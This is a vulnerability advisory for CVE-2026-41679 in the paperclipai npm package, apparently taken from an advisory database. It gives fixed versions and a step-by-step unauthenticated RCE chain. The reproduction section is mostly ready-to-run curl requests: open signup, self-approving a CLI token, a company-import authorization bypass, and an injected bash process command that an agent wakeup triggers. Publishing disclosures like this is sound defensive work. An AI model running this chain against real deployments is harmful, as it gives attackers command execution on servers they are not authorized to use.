paperclipai
Affected
- introduced
0, fixed2026.410.0(semver)
Fixed versions
2026.410.0
Fix
- Fixed version
2026.410.0npm install [email protected]
Advisory
Also known as: CVE-2026-41679
paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass
Summary
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. No user interaction, no credentials, just the target's address. The entire chain is six API calls.
I verified every step against the latest version. I have a fully automated PoC script and a video recording available.
Discord: sagi03581
Steps to Reproduce
The attack chains four independent flaws to escalate from zero access to RCE:
Step 1: Create an account (no invite, no email verification)
curl -s -X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"P@ssw0rd123","name":"attacker"}' \
http://<target>:3100/api/auth/sign-up/email
Returns a valid account immediately. No invite token required, no email verification.
This works because PAPERCLIP_AUTH_DISABLE_SIGN_UP defaults to false in server/src/config.ts:169-173:
const authDisableSignUp: boolean =
disableSignUpFromEnv !== undefined
? disableSignUpFromEnv === "true"
: (fileConfig?.auth?.disableSignUp ?? false); // default: open
And email verification is hardcoded off in server/src/auth/better-auth.ts:89-93:
emailAndPassword: {
enabled: true,
requireEmailVerification: false,
disableSignUp: config.authDisableSignUp,
},
The environment variable isn't documented in the deployment guide, so operators don't know it exists.
Step 2: Sign in
curl -s -v -X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"P@ssw0rd123"}' \
http://<target>:3100/api/auth/sign-in/email
Capture the session cookie from the Set-Cookie header.
Step 3: Create a CLI auth challenge and self-approve it
Create the challenge (no authentication required at all):
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
The response includes a token and a boardApiToken. The handler at server/src/routes/access.ts:1638-1659 has no actor check -- anyone can create a challenge.
Now approve it with our own session:
curl -s -X POST \
-H "Cookie: <session-cookie>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{"token":"<token-from-above>"}' \
http://<target>:3100/api/cli-auth/challenges/<id>/approve
The approval handler at server/src/routes/access.ts:1687-1704 checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:
if (req.actor.type !== "board" || (!req.actor.userId && !isLocalImplicit(req))) {
throw unauthorized("Sign in before approving CLI access");
}
// no check that approver !== creator
const userId = req.actor.userId ?? "local-board";
const approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);
The boardApiToken from step 3 is now a persistent API key tied to our account.
Step 4: Create a company and deploy an agent via import (authorization bypass)
This is the critical flaw. The direct company creation endpoint correctly requires instance admin:
server/src/routes/companies.ts:260-264:
router.post("/", validate(createCompanySchema), async (req, res) => {
assertBoard(req);
if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
throw forbidden("Instance admin required");
}
});
But the import endpoint does not:
server/src/routes/companies.ts:170-176:
router.post("/import", validate(companyPortabilityImportSchema), async (req, res) => {
assertBoard(req); // only checks board type
if (req.body.target.mode === "existing_company") {
assertCompanyAccess(req, req.body.target.companyId); // only for existing
}
// NO assertInstanceAdmin for "new_company" mode
const result = await portability.importBundle(req.body, ...);
});
assertInstanceAdmin isn't even imported in companies.ts (line 27 only imports assertBoard, assertCompanyAccess, getActorInfo), while it is imported and used in other route files like agents.ts.
The import also accepts a .paperclip.yaml in the bundle that specifies agent adapter configuration. The process adapter takes a command and args and calls spawn() directly with zero sandboxing. The import service passes the full adapterConfig through without validation (server/src/services/company-portability.ts:3955-3981).
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{
"source": {"type": "inline", "files": {
"COMPANY.md": "---\nname: attacker-corp\nslug: attacker-corp\n---\nx",
"agents/pwn/AGENTS.md": "---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",
".paperclip.yaml": "agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
}},
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all"
}' \
http://<target>:3100/api/companies/import
Returns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.
Step 5: Trigger the agent
curl -s -X POST -H "Authorization: Bearer <board-api-key>" \
-H "Content-Type: application/json" \
-H "Origin: http://<target>:3100" \
-d '{}' \
http://<target>:3100/api/agents/<agent-id>/wakeup
The wakeup handler at server/src/routes/agents.ts:2073-2085 only checks assertCompanyAccess, which passes because the attacker created the company. Paperclip spawns bash -c "id > /tmp/pwned.txt && ..." as the server's OS user.
Proof of Concept
I have a self-contained bash script that runs the full chain automatically:
./poc_exploit.sh http://<target>:3100
It creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.
Impact
An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:
The attack is fully automated, requires no user interaction, and works against the default deployment configuration.
Suggested Fixes
Critical: Unauthorized board access (the root cause)
The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:
Critical Basis: The source's own band: CRITICAL
0, fixed 2026.410.0 (semver)2026.410.0
2026.410.0npm install [email protected]0, fixed 2026.410.0 (semver)2026.410.0
2026.410.0npm install @paperclipai/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0